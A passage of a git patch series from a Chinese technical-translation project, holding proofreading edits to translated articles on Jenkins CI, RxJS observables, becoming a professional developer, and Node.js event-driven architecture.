 ```
 
-到这里，我们在必要的地方都已经加了检测校验，在最后我们还需要设置 Github，除非通过了 Jenkins 编译，否则不予许分支合并。
+到这里，我们在必要的地方都已经加了检测校验，在最后我们还需要设置 Github，除非通过了 Jenkins 编译，否则不许分支合并。
 使用 Github 插件，这会是相当容易的。你可以添加一个编译步骤，运行一次，让它可以在 Github 上使用。
 
 ![](https://cdn-images-1.medium.com/max/800/1*3udc8DO-_c9DaWQcnjcq0w.png)
@@ -431,7 +431,7 @@ You now have a mechanism which runs :
 - 静态代码分析 (Android specific and Java related) ✓
 - 使用模式匹配，检测不良代码 ✓
 - 使用 JavaDoc 生成可持续，可维护的文档 ✓
-- Continuous discovery through the Jenkins loop ✓
+- 使用 Jenkins 来不断发现问题 ✓
 - 保护 master 分支 ✓
 
 现在你还需要做得是集中精力在代码的体系结构以及持续优化这个系统

From 78cb157910c84d3705830706cac4ec5ba1e427c7 Mon Sep 17 00:00:00 2001
From: lsvih <lsvih@qq.com>
Date: Sat, 3 Jun 2017 23:14:12 +0800
Subject: [PATCH 594/638] Update rxjs-observables-observers-operators.md

---
 TODO/rxjs-observables-observers-operators.md | 33 ++++++++++----------
 1 file changed, 16 insertions(+), 17 deletions(-)

diff --git a/TODO/rxjs-observables-observers-operators.md b/TODO/rxjs-observables-observers-operators.md
index cffd5348f03..50e766be12c 100644
--- a/TODO/rxjs-observables-observers-operators.md
+++ b/TODO/rxjs-observables-observers-operators.md
@@ -2,7 +2,7 @@
 > * 原文作者：[Todd](https://toddmotto.com/)
 > * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)
 > * 译者：[lsvih](https://github.com/lsvih)
-> * 校对者：
+> * 校对者：[sunui](https://github.com/sunui),[GangsterHyj](https://github.com/GangsterHyj)
 
 # RxJS 简介：可观察对象、观察者与操作符 #
 
@@ -13,7 +13,7 @@
 
 ### 什么是 Observable（可观察对象）？ ###
 
-可观察对象其实就是一个比较特别的函数，它包含了一个“观察者”（observer）对象（在这个观察者对象中有 “next”、“error”、“complete”等方法），以及它会返回一种解除与观察者关系的逻辑。例如我们自己实现的时候会使用一个简单的 “unsubscribe” 函数来实现解除关系这个功能。而在 RxJS 中， 它是一个包含 `unsubsribe` 方法的订阅对象（Subscription）。
+可观察对象其实就是一个比较特别的函数，它接受一个“观察者”（observer）对象作为参数（在这个观察者对象中有 “next”、“error”、“complete”等方法），以及它会返回一种解除与观察者关系的逻辑。例如我们自己实现的时候会使用一个简单的 “unsubscribe” 函数来实现退订功能（即解除与观察者绑定关系的逻辑）。而在 RxJS 中， 它是一个包含 `unsubsribe` 方法的订阅对象（Subscription）。
 
 可观察对象会创建观察者对象（稍后我们将详细介绍它），并将它和我们希望获取数据值的“东西”连接起来。这个“东西”就是生产者（producer），它可能来自于 `click` 或者 `input` 之类的 DOM 事件，是数据值的来源。当然，它也可以是一些更复杂的情况，比如通过 HTTP 与服务器交流的事件。
 
@@ -33,15 +33,15 @@ input$.subscribe({
 
 这个例子使用了一个 `<input type="text">` 节点，并将其传入 `Rx.Observable.fromEvent()` 中。当我们触发指定的事件名时，它将会返回一个输入的 `Event` 的可观察对象。（因此我们在 console.log 中用  `${event.target.value}` 可以获取输入值）
 
-当输入事件被销毁的时候，可观察对象会将它的值传给观察者。
+当输入事件被触发的时候，可观察对象会将它的值传给观察者。
 
 ### 什么是 Observer（观察者）？ ###
 
-在前面的例子中，我们依次传入 `.subscribe()` 中的对象就是观察者（订阅对象将会调用我们的可观察对象）。
+观察者相当容易理解。在前面的例子中，我们传入 `.subscribe()` 中的对象字面量就是观察者（订阅对象将会调用我们的可观察对象）。
 
-> `.subscribe(next, error, complete)` 也是一种合法的语法，但是我们现在研究的是对象依次传入的情况。
+> `.subscribe(next, error, complete)` 也是一种合法的语法，但是我们现在研究的是对象字面量的情况。
 
-当一个可观察对象产生数据值的时候，它会通知观察者，当新的值被成功捕获的时候调用 `.next()`，没能成功捕获的时候调用 `.error()`。
+当一个可观察对象产生数据值的时候，它会通知观察者，当新的值被成功捕获的时候调用 `.next()`，发生错误的时候调用 `.error()`。
 
 当我们订阅一个可观察对象的时候，它会持续不断地将值传递给观察者，直到发生以下两件事：一种是生产者告知没有更多的值需要传递了，这种情况它会调用观察者的 `.complete()` ；一种是我们（“消费者”）对之后的值不再感兴趣，决定取消订阅（unsubsribe）。
 
@@ -64,7 +64,7 @@ const input$ = Rx.Observable.fromEvent(node, 'input')
 
 - 我们先假定用户输入了一个“a”
 - 可观察对象将会对这个输入事件作出反应，将值传给下一个观察者
-- “a”被传给了订阅了我们最开始的可观察对象的 `.map()`
+- “a”被传给了订阅了我们**初始**可观察对象的 `.map()`
 - `.map()` 会返回一个 `event.target.value` 的新可观察对象，然后调用它观察者对象中的 `.next()`
 - `.next()` 将会调用订阅了 `.map()` 的 `.filter()`，并将 `.map()` 处理后的值传递给它
 - `.filter()` 将会返回另一个可观察对象，`.filter()` 过滤后留下 `.length` 大于等于 2 的值，并将其传给 `.next()`
@@ -72,7 +72,7 @@ const input$ = Rx.Observable.fromEvent(node, 'input')
 
 这短短的几行代码做了这么多的事！如果你还觉得弄不清，只需要记住：
 
-每当返回一个新的可观察对象，都会有一个新的**观察者**挂载到前一个**可观察对象**上，这样，我们就可以通过观察者的“流”进行传值了。现在，你可以在前一个函数结束后调用 `.next()` 来将值传给下一个观察者了。
+每当返回一个新的可观察对象，都会有一个新的**观察者**挂载到前一个**可观察对象**上，这样就能通过观察者的“流”进行传值，对观察者生产的值进行处理，然后调用 `.next()` 方法将处理后的值传递给下一个观察者。
 
 简单来说，操作符将会不断地依次返回新的可观察对象，让我们的流能够持续进行。作为用户而言，我们不需要关心什么时候、什么情况下需要创建与使用可观察对象与观察者，我们只需要用我们的订阅对象进行链式调用就行了。
 
@@ -82,7 +82,7 @@ const input$ = Rx.Observable.fromEvent(node, 'input')
 
 #### Observable 构造器 ####
 
-首先，我们需要创建一个 Observable 构造函数，接受且仅接受 `subscribe` 函数作为其参数。我们将会把 subscribe 原型存储在 Observable 的实例中，稍后可以由观察者对象调用它：
+首先，我们需要创建一个 Observable 构造函数，此构造函数接受且仅接受 `subscribe` 函数作为其唯一的参数。每个 Observable 实例都存储 subscribe 属性，稍后可以由观察者对象调用它：
 
 ```
 function Observable(subscribe) {
@@ -109,7 +109,7 @@ one$.subscribe({
 });
 ```
 
-我们订阅了 Observable 实例，将我们的 observer（多个对象）传入构造器中（之后它会被分配给 `this.subscribe`）。
+我们订阅了 Observable 实例，将我们的 observer（对象字面量）传入构造器中（之后它会被分配给 `this.subscribe`）。
 
 #### Observable.fromEvent ####
 
@@ -121,7 +121,7 @@ Observable.fromEvent = (element, name) => {
 };
 ```
 
-我们与 RxJS 一样使用我们的 Observable：
+我们将像使用 RxJS 一样使用我们的 Observable：
 
 ```
 const node = document.querySelector('input');
@@ -151,9 +151,9 @@ Observable.fromEvent = (element, name) => {
 
 那么这个 `observer` 参数是什么呢？它又是从哪里来的呢？
 
-这个 `observer` 其实就是依次传入了 `next`、`error`、`complete` 的对象。
+这个 `observer` 其实就是携带 `next`、`error`、`complete` 的对象字面量。
 
-> 这块其实很有意思。`observer` 在调用 `.subscribe()` 之前都不会被传递，因此 `addEventListener` 在 Observable 被“订阅”之前都不会被执行。
+> 这块其实很有意思。`observer` 在 `.subscribe()` 被调用之前都不会被传递，因此 `addEventListener` 在 Observable 被“订阅”之前都不会被执行。
 
 一旦调用 subscribe，也就会调用 Observable 构造器内的 `this.subscribe` 。它将会调用我们传入 `new Observable(callback)` 的 callback，同时也会依次将值传给我们的观察者。这样，当 Observable 做完一件事的时候，它就会用更新过的值调用我们观察者中的 `.next()` 方法。
 
@@ -181,7 +181,7 @@ Observable.fromEvent = (element, name) => {
 };
 ```
 
-因为这个 Observable 还在处理 DOM API 和事件，因此我们还不会去调用 `.complete()`。这样在技术上就有无限的可拓展性。
+因为这个 Observable 还在处理 DOM API 和事件，因此我们还不会去调用 `.complete()`。这样在技术上就有无限的可用性。
 
 试一试吧！下面是我们已经写好的完整代码：
 
@@ -248,7 +248,6 @@ input$.subscribe({
 
 
 ```
-
 ### 创造我们自己的 Operator（操作符） ###
 
 在我们理解了可观察对象与观察者对象的概念之后，我们可以更轻松地去创造我们自己的操作符了。我们在 `Observable` 对象原型中加上一个新的方法：
@@ -287,7 +286,7 @@ Observable.prototype.map = function (mapFn) {
 };
 ```
 
-> 我们要返回 `input.subscribe()` ，不然在我们没有订阅的时候，非订阅对象将会顺着链一直转下去，解除每个 Observable 的订阅。
+> 我们要返回 `input.subscribe()` ，因为在我们退订的时候，非订阅对象将会顺着链一直转下去，解除每个 Observable 的订阅。
 
 这个订阅对象将允许我们把之前 `Observable.fromEvent` 传来的值传递下去，因为它返回了构造器中含有 `subscribe` 原型的新的 Observable 对象。我们可以轻松地订阅它对数据值做出的任何更新！最后，完成通过 map 调用我们的 `mapFn()` 的功能：
 
@@ -317,7 +316,7 @@ input$.subscribe({
 });
 ```
 
-请注意，最后一个 `.subscribe()` 不再和之前一样传入 `Event` 对象了，而是传入了一个 `value`。这说明你成功地创建了一个可观察对象流。
+注意到最后一个 `.subscribe()` 不再和之前一样传入 `Event` 对象，而是传入了一个 `value` 了吗？这说明你成功地创建了一个可观察对象流。
 
 再试试：
 ```

From 56db70e2dd7ea56e829374ef06f449b10bfc2043 Mon Sep 17 00:00:00 2001
From: zaraguo <zaraguo92@gmail.com>
Date: Sun, 4 Jun 2017 14:55:16 +0800
Subject: [PATCH 595/638] =?UTF-8?q?=E6=A0=B9=E6=8D=AE=20review=20=E6=84=8F?=
 =?UTF-8?q?=E8=A7=81=E4=BF=AE=E6=94=B9?=
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit

---
 ...from-hobbyist-to-professional-developer.md | 50 +++++++++----------
 1 file changed, 25 insertions(+), 25 deletions(-)

diff --git a/TODO/how-to-go-from-hobbyist-to-professional-developer.md b/TODO/how-to-go-from-hobbyist-to-professional-developer.md
index 7ecf00d4f8d..d516776bd6f 100644
--- a/TODO/how-to-go-from-hobbyist-to-professional-developer.md
+++ b/TODO/how-to-go-from-hobbyist-to-professional-developer.md
@@ -8,13 +8,13 @@
 
 ![](https://cdn-images-1.medium.com/max/2000/1*LZZ9Sr4XL7j2-LjSJ5uq9Q.jpeg)
 
-几年前，我正处于美化工作和餐馆工作两头跑的状态中。那时我刚离开大学校园，不知道未来我将靠什么为生。
+几年前，我正处于园林设计工作和餐馆工作两头跑的状态中。那时我刚离开大学校园，不知道未来我将靠什么为生。
 
 我有许多想法，却毫无方向。在那段时间里，我开始自学编程。起初这只是一个爱好。我觉得仅靠自己的大脑和代码去创造东西是一件很酷的事。
 
 逐渐地我开始思考生活前进的方向，并视以编程为生为一个有可能的生活方式。
 
-一开始，我也只是随便想想而已。我负担不起现代教育的费用。我早就已经因为钱的原因而辍学了，如果要修计算机科学专业，我必须重新开始。
+一开始，我也只是随便想想而已。我负担不起现代教育的费用。我早就因为钱的原因而辍学了，如果要修计算机科学专业，我必须重新开始。
 
 我已经离开大学校园整整六年之久。如果我选择重返校园学习计算机科学还将给我带来超过五万美元的负债。所以这条路行不通。
 
@@ -30,9 +30,9 @@
 
 我写了一些实用的程序并将其放在了 GitHub 上。它们没什么特别的，但是它们展现了我的编程能力。
 
-有家公司拒绝提供我临时工的岗位。也不用我获得学位。他们直接提供了我一个试用期六个月的全职初级工程师的岗位。:TOBECONFIRMED
+有家公司拒绝提供我临时工的岗位。也不用我获得学位。他们直接提供了我一个试用期六个月的全职初级工程师的岗位。
 
-我开心极了。原来从我带有目的地认真学习编程开始，我已经收获了相当多的知识。
+我开心极了。事实证明，认真并带有目的地开始学习编程，让我收获了相当多的知识。
 
 我有能力回答他们的提问，向他们展示我那微不足道的应用，并解释其工作原理。
 
@@ -42,9 +42,9 @@
 
 我将我在上一家公司工作的经历视为一个学习过程，尽我所能地去学习，这在我成长为一个专业工程师的道路上起到了相当大的作用。
 
-在工作中你将学到十分宝贵的真知。知道如何与客户、同事相处以及遵守公司制度是十分重要的。而这些你只能从实践中获得。 :TOBECONFIRMED
+在公司里工作所获得的实践真知是无价的。知道如何与客户、同事相处以及遵守公司制度是十分重要的。而这些你只能从实践中获得。
 
-无论我比开始工作的时候进步了多少，我一直视自己为一个学徒。渴望不断学习是成为一个伟大的开发人员的重要条件。一旦我们觉得我们已经掌握了某个技能，那么我们就会停止成长。
+虽然我比刚开始的时候知道的更多，我一直视自己为一个学徒。渴望不断学习是成为一个伟大的开发人员的重要条件。一旦我们觉得我们已经掌握了某个技能，那么我们就会停止成长。
 
 海明威曾说过：
 
@@ -66,7 +66,7 @@
 
 任何人都可以通过自学成为一个开发者。有一种观点是自学只有特定类型的人能做到，这在某种程度上是正确的。你需要自我驱动，而不是被能立即得到回报的动机驱动。但是任何人都可以成为这种类型的人。
 
-现代社会存有天赋不是人人都有的这种观点。这种观点不利于我们的成长，也是许多人在生活中感到不满的原因之一。
+现代社会存有“天赋不是人人都有”的这种观点。这种观点不利于我们的成长，也是许多人在生活中感到不满的原因之一。
 
 如果你执着于自己是否有天赋这一点，那么你将很容易沮丧。
 
@@ -80,19 +80,19 @@
 
 人们总是更倾向于关注自己和他人的成功。这就是著名的[幸存者偏差](https://youarenotsosmart.com/2013/05/23/survivorship-bias/)。
 
-运气的确客观存在。有时候有了它事情会变得相当的顺利。例如，我之前联系过一个 Web 开发的机构，幸运的是他们当时正好在招人并且我恰巧符合他们的要求。:TOBECONFIRMED
+运气的确客观存在。有时候有了它事情会变得相当的顺利。例如，我之前联系过一个 Web 开发的机构，幸运的是他们当时正好在招人并且我恰巧符合他们的要求。
 
 但什么是运气呢？
 
-当然，我获得那份工作有运气的成分在，但是如果我没有下定决心去自学开发那么有运气也是没用的。之后我果断地决定去申请这份工作。 :TOBECONFIRMED
+当然，我获得那份工作有运气的成分在，但是如果我没有下定决心去自学开发，那么有运气也是没用的。之后我果断地决定去申请这份工作。
 
-运气的确有一定的作用，但是凡事全靠运气却是不对的。要想自己更加好运，你就应该更加投入于你所做的事情。 :TOBECONFIRMED
+运气的确有一定的作用，但是凡事全靠运气却是不对的。要想自己更加好运，你就应该更加投入于你所做的事情。
 
 但是好运并不会眷顾胸无大志之人。
 
 #### 2. 持之以恒在促成你的作品方面有着难以置信的魔力 ####
 
-我最大的缺点之一就是我容易感到厌倦和分心。我会不断想要跳过目前的工作进入下一个项目。这种趋势会断送你的成功。
+我最大的缺点之一就是容易感到厌倦和分心。我会不断想要跳过目前的工作进入下一个项目。这种趋势会断送你的成功。
 
 根据心情选择项目固然很自由，但是……
 
@@ -116,7 +116,7 @@
 
 它的确不易。但是一旦你学会不分心，你将发觉到工作中持续增长的乐趣。
 
-Mike Rowe 常说：人们不应该在发现自己的激情后才开始行动。:TOBECONFIRMED
+Mike Rowe 常说：人们不应该在发现自己的激情后才开始行动。
 
 人们郁郁寡欢。执着于寻求一个完美的事业，一个充满激情的事业。
 
@@ -136,9 +136,9 @@ Mike Rowe 常说：人们不应该在发现自己的激情后才开始行动。:
 
 做点什么东西。开发一个应用解决你自己生活中的问题，或者针对于你身边人的某个问题。
 
-做点什么好玩的东西。
+做些好玩的东西。
 
-做点什么并传播出去。把它开源并放在 GitHub 上。你做这些不是为了别人而是为了自己，所以你不需要担心别人对此的看法。
+做点东西，并且对外展示。把它开源并放在 GitHub 上。你做这些不是为了别人而是为了自己，所以你不需要担心别人对此的看法。
 
 你的代码一开始会很丑陋。即使我现在看自己一个月前写的代码我都觉得惨不忍睹。但是如果不做点东西你是学不会开发的。书本很棒，我沉迷于看很多很多的书。但是在那之后你必须不断去应用你看到的知识。
 
@@ -176,7 +176,7 @@ Mike Rowe 常说：人们不应该在发现自己的激情后才开始行动。:
 
 1. 主页
 
-你的主页是你网站的入口点。它需要提供一个非常简要的关于你是谁做什么的介绍。并指明人们所关心的内容的入口。
+你的主页是你网站的入口点。它应该提供一个非常简要的介绍，关于你是谁，你是做什么的。并指引大家找到他们最感兴趣的内容。
 
 比如，你可以有两个主要的按钮。一个引导人们前往你的博客列表去学习一些关于网站开发的知识，另外一个用来引导有意聘用你的人前往你的招聘页面。
 
@@ -186,7 +186,7 @@ Mike Rowe 常说：人们不应该在发现自己的激情后才开始行动。:
 
 3. 关于我
 
-简单的关于我板块可以展现更多你是谁做什么的细节。不要把它当做你的个人史。再次声明，这一板块核心内容是你想做的事情。 :TOBECONFIRMED
+简单的关于我板块可以展现更多你是谁做什么的细节。不要把它当做你的个人史。再次声明，这一板块核心内容是你想做的事情。
 
 不要谈论你的私人生活，而是谈论什么使你成为一个网站开发者，你做过什么，以及未来的规划。谈论一些你喜欢的项目并给出展示链接。
 
@@ -194,7 +194,7 @@ Mike Rowe 常说：人们不应该在发现自己的激情后才开始行动。:
 
 这是你个人网站非常重要的一个部分。这是展现给有意向聘请你的人的板块。
 
-确保你有权衡好自卖自夸和诚实之间的平衡。这个页面的内容可能和关于我页面有部分的重叠，但是这个页面将更加明确你的技能以及你可以给公司带来的好处。
+找好“包装”和诚实的平衡点。这个页面的内容可能和关于我页面有部分的重叠，但是这个页面将更加明确你的技能以及你可以给公司带来的好处。
 
 这个页面还需要有你的联系方式以便他人可以联系到你。
 
@@ -202,21 +202,21 @@ Mike Rowe 常说：人们不应该在发现自己的激情后才开始行动。:
 
 #### 5. 开始传授你会的一切知识 ####
 
-Nathan Barry 是一个酷爱传授已知知识的家伙。他讲过 CSS Tricks 的创始人 Chris Coyier 的故事。
+Nathan Barry 是一个酷爱传授知识的家伙。他讲过 CSS Tricks 的创始人 Chris Coyier 的故事。
 
 这个网站一开始是 Chris 用来公开记录一些他在学习的东西以便他人借鉴。现在它已经是最大的 Web 开发站点之一。
 
 这个故事告诉我们你不必在成为世界最厉害的专家之后才去写东西和传授东西。
 
-在网络商业的世界中，有一个相对专家的概念。这个概念是说每个人相对于别人在某一个特定方面都是专家。 :TOBECONFIRMED
+在网络商业的世界中，有一个相对专家的概念。这个概念是说每个人相对于别人在某一个特定方面都是专家。
 
-我对此存有疑虑，特别是有人用其来为推销某些不应该被卖出去的东西这一行为做辩解的时候。这只是一个有用的类比。 :TOBECONFIRMED
+我对此存有疑虑，特别是被用来推销某些不应该被卖出的商品的时候。这只是一个有用的类比。
 
 困扰我的是使用专家一词。我不认为传授你知道的东西有什么问题，你甚至可以向需要的人们贩卖这些知识。
 
 但是自称专家好像又言重了。所以当你写东西的时候，请尽量保持内容真实性。
 
-我更喜欢公开地定期学习。
+我更喜欢在公开场合定期学习。
 
 有很多人是从成为一个公开的学习者开始他们的学习的。他们学习手艺同时并记录下来他们学到的东西。
 
@@ -232,11 +232,11 @@ Nathan Barry 是一个酷爱传授已知知识的家伙。他讲过 CSS Tricks 
 
 电商本质其实不是程序开发，其本质是关于解决问题。代码只是他们首选的工具而已。
 
-任何一本市场营销的书或文案都会告诉你去推销你商品的优点而不是特点。
+任何一本市场营销的书或文案都会告诉你去推销商品的优点而不是特点。
 
 Web 开发人员应该通过展示他们如何有效地解决了用户的问题来推销他们的应用。然后用具体的指标来支撑他们的言论。客户通常对这种方式的介绍更感兴趣，而不是听开发者谈论他们使用的尖端技术。
 
-如果你能够在展示编程技能的同时还展现出带有解决问题和生产有意义的应用的明确意图进行编程的能力，那么你将非常受雇主欢迎。
+如果你能证明你的编程技能, 并能用代码解决问题和创造有意义的应用, 那么你将非常受雇主欢迎。
 
 当你与潜在雇主或是客户沟通时，以及在为你的网站编写内容时，请进行优势与功能这两方面的思考。
 
@@ -264,7 +264,7 @@ Web 开发人员应该通过展示他们如何有效地解决了用户的问题
 
 这就是为什么乐意并热切地去学习是这么的重要。得到了你的第一份开发工作不是征途的结束，而只是开始。
 
-当采取了学徒心态你将真正开始学习并且呈几何级数地增长你的知识。
+当采取了学徒心态你将真正开始学习并且你的知识将呈几何级数地增长。
 
 #### 8. 学会合作 ####
 
@@ -274,7 +274,7 @@ Web 开发人员应该通过展示他们如何有效地解决了用户的问题
 
 学会如何与他人有效地合作是十分重要的。
 
-在 Web 开发领域，沟通是关键。当一个公司向你们表达自己所需时，如果你对他们所表述的东西不清楚会给未来的工作带来很多头疼的问题。
+在 Web 开发领域，沟通是关键。当一个公司向你们表达自己所需时，如果你对他们所表述的东西不清楚，那么会给未来的工作带来很多头疼的问题。
 
 同样的，如果你不能与同你一起工作的人们良好地沟通，你的工作也将遭遇很多问题并无法完成。
 

From ae13234969362f8a3337bcd4da9b509c64b7037c Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?=E8=96=9B=E5=AE=9A=E8=B0=94=E7=9A=84=E7=8C=AB?=
 <hh_2013@foxmail.com>
Date: Mon, 5 Jun 2017 00:29:09 +0800
Subject: [PATCH 596/638] Update
 understanding-node-js-event-driven-architecture.md

---
 TODO/understanding-node-js-event-driven-architecture.md | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/TODO/understanding-node-js-event-driven-architecture.md b/TODO/understanding-node-js-event-driven-architecture.md
index ce82c9441d9..d3e9db9b1ae 100644
--- a/TODO/understanding-node-js-event-driven-architecture.md
+++ b/TODO/understanding-node-js-event-driven-architecture.md
@@ -8,7 +8,7 @@
 
 ![](https://cdn-images-1.medium.com/max/2000/1*Nozl2qd0SV8Uya2CEkF_mg.jpeg)
 
-绝大部分的nodejs中的对象，比如HTTP请求、响应以及“流”，都使用了 `eventEmitter` 模块来支持监听和触发事件。
+绝大部分的nodejs中的对象，比如 HTTP 请求、响应以及“流”，都使用了 `eventEmitter` 模块来支持监听和触发事件。
 
 ![](https://cdn-images-1.medium.com/max/800/1*74K5OhiYt7WTR0WuVGeNLQ.png)
 
@@ -315,7 +315,7 @@ execute: 4.507ms
 Done with execute
 ```
 
-请注意，注意我们如何将回调函数与事件发生器结合来完成的，如果 `asynFunc` 同样支持 Promise 的话，我们可以使用 `async/await` 特性来做到同样的事情：
+请注意我们是如何将回调函数与事件发生器结合来完成的，如果 `asynFunc` 同样支持 Promise 的话，我们可以使用 `async/await` 特性来做到同样的事情：
 
 ```js
 class WithTime extends EventEmitter {

From c79791e2325a7ca4853591078133faa3b9309752 Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?=E8=96=9B=E5=AE=9A=E8=B0=94=E7=9A=84=E7=8C=AB?=
 <hh_2013@foxmail.com>
Date: Mon, 5 Jun 2017 00:30:31 +0800
Subject: [PATCH 597/638] Update
 understanding-node-js-event-driven-architecture.md

---
 TODO/understanding-node-js-event-driven-architecture.md | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/TODO/understanding-node-js-event-driven-architecture.md b/TODO/understanding-node-js-event-driven-architecture.md
index d3e9db9b1ae..de82074ae2b 100644
--- a/TODO/understanding-node-js-event-driven-architecture.md
+++ b/TODO/understanding-node-js-event-driven-architecture.md
@@ -22,7 +22,7 @@
 
 callback 函数从本质上讲就是作为参数传递给其他函数的函数，在JS中这是可能的，因为函数是一等公民。
 
-callback 函数并不必要异步调用，这一点非常重要。在函数中，我们可以随心所欲的同步/异步调用 callback。
+callback 函数并不一定异步调用，这一点非常重要。在函数中，我们可以随心所欲的同步/异步调用 callback。
 
 例如，在下面例子中，主函数 `fileSize` 接收一个回调函数 `cb` 为参数，根据不同情况以同步/异步方式调用 `cb`：
 

From b657e62bef25e7201fe5f03e50c78990782453ba Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?=E8=96=9B=E5=AE=9A=E8=B0=94=E7=9A=84=E7=8C=AB?=
 <hh_2013@foxmail.com>
Date: Mon, 5 Jun 2017 00:31:53 +0800
Subject: [PATCH 598/638] Update
 understanding-node-js-event-driven-architecture.md

---
 TODO/understanding-node-js-event-driven-architecture.md | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/TODO/understanding-node-js-event-driven-architecture.md b/TODO/understanding-node-js-event-driven-architecture.md
index de82074ae2b..54e5845262c 100644
--- a/TODO/understanding-node-js-event-driven-architecture.md
+++ b/TODO/understanding-node-js-event-driven-architecture.md
@@ -84,7 +84,7 @@ readFileAsArray('./numbers.txt', (err, lines) => {
 
 这段代码会读取数组中的字符串，解析成数字并统计奇数个数。
 
-在 NodeJS 的回调风格中的写法是这样的：回调函数的第一个参数是一个可能为 null 的错误对象 err，而回调函数作为主函数的最后一个参数出传入。 你应该永远这么做, 因为使用者们极有可能是这么以为的。
+在 NodeJS 的回调风格中的写法是这样的：回调函数的第一个参数是一个可能为 null 的错误对象 err，而回调函数作为主函数的最后一个参数传入。 你应该永远这么做, 因为使用者们极有可能是这么以为的。
 
 #### 现代 JavaScript 中回调函数的替代品 ####
 

From 3c7037f66d23aecc420214a76d7b9f9ee9f9d50e Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?=E8=96=9B=E5=AE=9A=E8=B0=94=E7=9A=84=E7=8C=AB?=
 <hh_2013@foxmail.com>
Date: Mon, 5 Jun 2017 00:33:23 +0800
Subject: [PATCH 599/638] Update
 understanding-node-js-event-driven-architecture.md

---
 TODO/understanding-node-js-event-driven-architecture.md | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/TODO/understanding-node-js-event-driven-architecture.md b/TODO/understanding-node-js-event-driven-architecture.md
index 54e5845262c..0c0c6a9c772 100644
--- a/TODO/understanding-node-js-event-driven-architecture.md
+++ b/TODO/understanding-node-js-event-driven-architecture.md
@@ -154,7 +154,7 @@ countOdd();
 
 首先我们创建了一个 `async` 函数，只是在定义 function 的时候前面加了 `async` 关键字。在 `async` 函数里，使用关键字 `await` 使 `readFileAsArray` 函数好像返回普通变量一样，这之后的编码也好像 `readFileAsArray` 是同步方法一样。
 
-当 `async` 函数执行的过程是非常易读的，而处理错误只需要使用 `try/catch` 即可。
+`async` 函数的执行过程是非常易读的，而处理错误只需要使用 `try/catch` 即可。
 
 在 `async/await` 函数中我们我们不需要使用任何特殊 API（像: `.then` 、 `.catch`\），我们仅仅使用了特殊关键字，并使用普通 JavaScript 编码即可。
 

From 6ffdf51672f409326ca078b5d0d2db44b011ca2c Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?=E8=96=9B=E5=AE=9A=E8=B0=94=E7=9A=84=E7=8C=AB?=
 <hh_2013@foxmail.com>
Date: Mon, 5 Jun 2017 00:35:00 +0800
Subject: [PATCH 600/638] Update
 understanding-node-js-event-driven-architecture.md

---
 TODO/understanding-node-js-event-driven-architecture.md | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/TODO/understanding-node-js-event-driven-architecture.md b/TODO/understanding-node-js-event-driven-architecture.md
index 0c0c6a9c772..9a8ced96cd7 100644
--- a/TODO/understanding-node-js-event-driven-architecture.md
+++ b/TODO/understanding-node-js-event-driven-architecture.md
@@ -268,7 +268,7 @@ After executing
 
 当异步方法结束的时候 emit 一个事件,我们需要把 callback/promise 与事件通信结合起来，刚刚的例子证明了这一点。
 
-使用事件驱动来代替传统 callback 有一个好处是：在定义多个监听器后，我们可以多次对同一个 emit 做出反应。如果要用 callback 来做到这一点的话，我们需要些很多的逻辑在同一个 callback 中，事件是应用程序允许多个外部插件在应用程序核心之上构建功能的一个好方法，你可以把它们当作钩子点来允许围绕状态变化来做更多自定义的事。
+使用事件驱动来代替传统 callback 有一个好处是：在定义多个监听器后，我们可以多次对同一个 emit 做出反应。如果要用 callback 来做到这一点的话，我们需要些很多的逻辑在同一个 callback 中，事件是应用程序允许多个外部插件在应用程序核心之上构建功能的一个好方法，你可以把它们当作钩子点来允许利用状态变化做更多自定义的事。
 
 #### 异步事件 ####
 

From a240cb8d5736f77d1ec70022924743186c839af0 Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?=E8=96=9B=E5=AE=9A=E8=B0=94=E7=9A=84=E7=8C=AB?=
 <hh_2013@foxmail.com>
Date: Mon, 5 Jun 2017 00:36:57 +0800
Subject: [PATCH 601/638] Update
 understanding-node-js-event-driven-architecture.md

---
 TODO/understanding-node-js-event-driven-architecture.md | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/TODO/understanding-node-js-event-driven-architecture.md b/TODO/understanding-node-js-event-driven-architecture.md
index 9a8ced96cd7..b25a9be4b9e 100644
--- a/TODO/understanding-node-js-event-driven-architecture.md
+++ b/TODO/understanding-node-js-event-driven-architecture.md
@@ -22,7 +22,7 @@
 
 callback 函数从本质上讲就是作为参数传递给其他函数的函数，在JS中这是可能的，因为函数是一等公民。
 
-callback 函数并不一定异步调用，这一点非常重要。在函数中，我们可以随心所欲的同步/异步调用 callback。
+callback 函数并不一定异步调用，这一点非常重要。在函数中，我们可以根据需要同步/异步调用 callback。
 
 例如，在下面例子中，主函数 `fileSize` 接收一个回调函数 `cb` 为参数，根据不同情况以同步/异步方式调用 `cb`：
 

From 1ef6f0ab424747a577da41dc3e6af46ad3e02642 Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?=E8=96=9B=E5=AE=9A=E8=B0=94=E7=9A=84=E7=8C=AB?=
 <hh_2013@foxmail.com>
Date: Mon, 5 Jun 2017 00:40:30 +0800
Subject: [PATCH 602/638] Update
 understanding-node-js-event-driven-architecture.md

---
 TODO/understanding-node-js-event-driven-architecture.md | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/TODO/understanding-node-js-event-driven-architecture.md b/TODO/understanding-node-js-event-driven-architecture.md
index b25a9be4b9e..a1ee2387157 100644
--- a/TODO/understanding-node-js-event-driven-architecture.md
+++ b/TODO/understanding-node-js-event-driven-architecture.md
@@ -352,7 +352,7 @@ this.emit('error', err);
 this.emit('data', data);
 ```
 
-在 监听函数调用的时候我们可以传递很多的参数，这些参数在执行的时候都会切实可用。
